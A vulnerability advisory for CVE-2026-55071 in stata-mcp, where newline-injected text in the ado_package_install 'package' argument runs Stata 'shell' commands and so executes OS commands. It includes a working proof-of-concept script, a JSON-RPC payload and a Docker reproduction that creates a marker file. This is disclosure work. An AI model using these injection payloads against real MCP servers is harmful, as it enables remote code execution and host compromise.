CVE-2026-55071

## Stata Command Injection via Unsanitized `package` in `ado_package_install` ### Summary The `ado_package_install` MCP tool in `stata-mcp` concatenates user-controlled input directly into a Stata command string without any validation or sanitization. An attacker who can invoke the MCP tool or the equivalent Python API can embed newline characters in the `package` argument to inject arbitrary Stata commands. Because Stata supports a `shell` escape command, this leads to full OS-level arbitrary command execution (RCE) under the account running the Stata-MCP server. The tool is registered in the default `all` profile, so no non-default configuration is required. Base CVSS score is **8.4 (High)**. ### Details The vulnerability originates in `SSC_Install.install()`: ```python # src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:14-16 def install(self, package: str) -> str: install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" runner_result = self.controller.run(install_command) ``` The `package` parameter is interpolated into an f-string with no allowlist check, newline rejection, or quoting. The resulting command string is forwarded to the Stata interpreter verbatim: ```python # src/stata_mcp/stata/stata_controller/controller.py:98-99 # Send the command self.child.sendline(command) ``` `pexpect.sendline()` writes the full multi-line string to the Stata REPL, which executes each line as a separate Stata command. Because Stata's `shell` (and `!`) commands execute an OS shell command, a newline-delimited payload results in OS command execution. The full source-to-sink data flow is: 1. **Exposure** — `src/stata_mcp/mcp_servers.py:626-632`: `_TOOL_REGISTRY` registers `ado_package_install` in the `all` profile. 2. **Default activation** — `src/stata_mcp/cli/_handlers.py:295-300`: when no `--core`/`--all` flag is given the profile defaults to `all`, so the tool is always enabled. 3. **Propagation** — `src/stata_mcp/mcp_servers.py:308-349`: the MCP argument `package` is passed to `installer(...).install(*args)` without validation. 4. **Sink construction** — `src/stata_mcp/stata/builtin_tools/ado_install/ssc_install.py:15`: `package` is interpolated into `install_command`. 5. **Delivery** — `src/stata_mcp/stata/stata_controller/controller.py:99`: `self.child.sendline(command)` sends the attacker-influenced string to Stata. A guard/blacklist (`src/stata_mcp/guard/blacklist.py:41-60`) registers `shell`, `!`, `winexec`, `unixcmd`, and similar strings as dangerous commands, but the `GuardValidator` that enforces this list is invoked **only** on the `stata_do` path and is not called anywhere in the ado-install path, making the guard entirely ineffective against this attack. ### PoC **Prerequisites** - Unix-like host with a configured Stata CLI, **or** use the provided Docker image which replaces the Stata binary with a minimal Python stub (`fake_stata.py`) that honours the `shell` command. **Container-based reproduction (no Stata license required)** ```bash # Build (run from the repository root) docker build -t stata-mcp-poc-001 \ -f vuln-001/Dockerfile \ reports/pypiAi_828_SepineTam__stata-mcp/ # Run docker run --rm stata-mcp-poc-001 ``` **Direct Python trigger (unmodified source)** ```python import os from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install MARKER = "/tmp/stata_mcp_ado_poc" PAYLOAD = f"outreg2\nshell touch {MARKER}\n//" installer = SSC_Install("/usr/local/bin/stata", is_replace=True, timeout=10) installer.install(PAYLOAD) assert os.path.exists(MARKER), "RCE not confirmed" print("RCE CONFIRMED — marker file created") ``` The payload `"outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//"` is expanded by the f-string at `ssc_install.py:15` into: ``` ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace ``` Stata executes the second line as an OS shell command. The trailing `//` comment neutralises the `, replace` suffix so Stata does not raise a syntax error. **MCP JSON-RPC trigger** ```json { "tool": "ado_package_install", "arguments": { "source": "ssc", "package": "outreg2\nshell touch /tmp/stata_mcp_ado_poc\n//", "is_replace": true } } ``` **Expected output** ``` [+] PASS - RCE CONFIRMED [+] Marker file exists: /tmp/stata_mcp_ado_poc [+] The injected Stata 'shell' command was executed by the REPL. ``` Phase 2 dynamic reproduction confirmed the marker file `/tmp/stata_mcp_ado_poc` was created inside the Docker container, and `install()` returned a string containing the injected command: ``` Installation State: False ssc install outreg2\r\nshell touch /tmp/stata_mcp_ado_poc\r\n//, replace ``` ### Impact This is a **Code/Command Injection (RCE)** vulnerability. Any principal who can call the `ado_package_install` MCP tool or the equivalent Python API — including an AI model or agent connected to the MCP server, a local script, or a remote HTTP client if the HTTP transport is exposed — can execute arbitrary OS commands with the privileges of the user running the Stata-MCP server. Because the tool is registered in the default `all` profile and `all` is the default active profile, **no misconfiguration by the victim is required**. All users of `stata-mcp` on the affected version who run `stata-mcp server` are impacted. Concrete consequences include: exfiltration of credentials and data accessible to the process, persistence via cron/startup entries, lateral movement within the local network, and complete compromise of the host user account. ### Reproduction artifacts #### `Dockerfile` ```dockerfile # Dockerfile for VULN-001 dynamic reproduction # Build context must be the parent directory: # docker build -t stata-mcp-poc-001 -f vuln-001/Dockerfile . # # Vulnerability: Stata Command Injection via unsanitized `package` in # SSC_Install.install() (ssc_install.py:15). # # Strategy: replace the real Stata binary with a minimal Python script # (fake_stata.py) that honours the 'shell <cmd>' Stata command. # The vulnerable stata-mcp code is installed unmodified from the repo. FROM python:3.11-slim # Install pexpect -- the only runtime dependency required by the PoC # (StataController imports pexpect; all other imports are stdlib-only). RUN pip install --no-cache-dir pexpect==4.9.0 # ------------------------------------------------------------------ # Fake Stata binary # ------------------------------------------------------------------ # Placed at /usr/local/bin/stata so StataFinder (Linux) can auto-discover # it and the PoC can reference it by absolute path. COPY vuln-001/fake_stata.py /usr/local/bin/stata RUN chmod +x /usr/local/bin/stata # ------------------------------------------------------------------ # Vulnerable package (unmodified source) # ------------------------------------------------------------------ COPY repo/src /workspace/src ENV PYTHONPATH=/workspace/src # ------------------------------------------------------------------ # PoC script # ------------------------------------------------------------------ COPY vuln-001/poc.py /workspace/poc.py WORKDIR /workspace CMD ["python3", "/workspace/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: Stata Command Injection via unsanitized `package` in `ado_package_install` (SSC path). Vulnerable code: ssc_install.py:15 install_command = f"ssc install {package}{self.REPLACE_MESSAGE}" controller.py:99 self.child.sendline(command) Attack: embed a newline in `package` to inject an additional Stata command. package = "outreg2\\nshell touch /tmp/stata_mcp_ado_poc\\n//" The constructed command string becomes: ssc install outreg2 shell touch /tmp/stata_mcp_ado_poc //, replace pexpect delivers this multi-line string verbatim to the Stata REPL via sendline(), causing Stata to execute 'shell touch /tmp/stata_mcp_ado_poc', which runs the OS command 'touch /tmp/stata_mcp_ado_poc'. Marker file creation confirms RCE. """ import os import sys FAKE_STATA = "/usr/local/bin/stata" MARKER_FILE = "/tmp/stata_mcp_ado_poc" # Payload: legit package name, then injected shell command, then comment to # neutralise the ", replace" suffix appended by REPLACE_MESSAGE. PAYLOAD = f"outreg2\nshell touch {MARKER_FILE}\n//" def main() -> int: print("=" * 60) print("VULN-001 PoC: Stata Command Injection via ado_package_install") print("=" * 60) print(f"[*] Fake Stata binary : {FAKE_STATA}") print(f"[*] Marker file : {MARKER_FILE}") print(f"[*] Payload (repr) : {PAYLOAD!r}") print() # Clean up any previous run. if os.path.exists(MARKER_FILE): os.remove(MARKER_FILE) print(f"[*] Removed pre-existing marker file.") # Import the vulnerable class directly -- no MCP or config layer needed. # The vulnerability lives entirely in SSC_Install.install() and the # StataController that sends the command to the Stata REPL. from stata_mcp.stata.builtin_tools.ado_install.ssc_install import SSC_Install print("[*] Instantiating SSC_Install with fake Stata binary...") installer = SSC_Install(FAKE_STATA, is_replace=True, timeout=10) print(f"[*] Calling install({PAYLOAD!r}) ...") try: result = installer.install(PAYLOAD) print(f"[*] install() returned: {result[:200]!r}") except Exception as exc: # A RuntimeError from StataController is acceptable; the shell command # may have already executed before the error is detected. print(f"[!] install() raised (may be expected): {type(exc).__name__}: {exc}") print() # --- Verdict --- if os.path.exists(MARKER_FILE): print("[+] PASS - RCE CONFIRMED") print(f"[+] Marker file exists: {MARKER_FILE}") print("[+] The injected Stata 'shell' command was executed by the REPL.") print("[+] Constructed command delivered via sendline():") print("[+] ssc install outreg2") print(f"[+] shell touch {MARKER_FILE} <-- OS command executed here") print("[+] //") return 0 else: print("[-] FAIL - Marker file not found.") print("[-] The injected shell command did not produce the expected artefact.") return 1 if __name__ == "__main__": sys.exit(main()) ```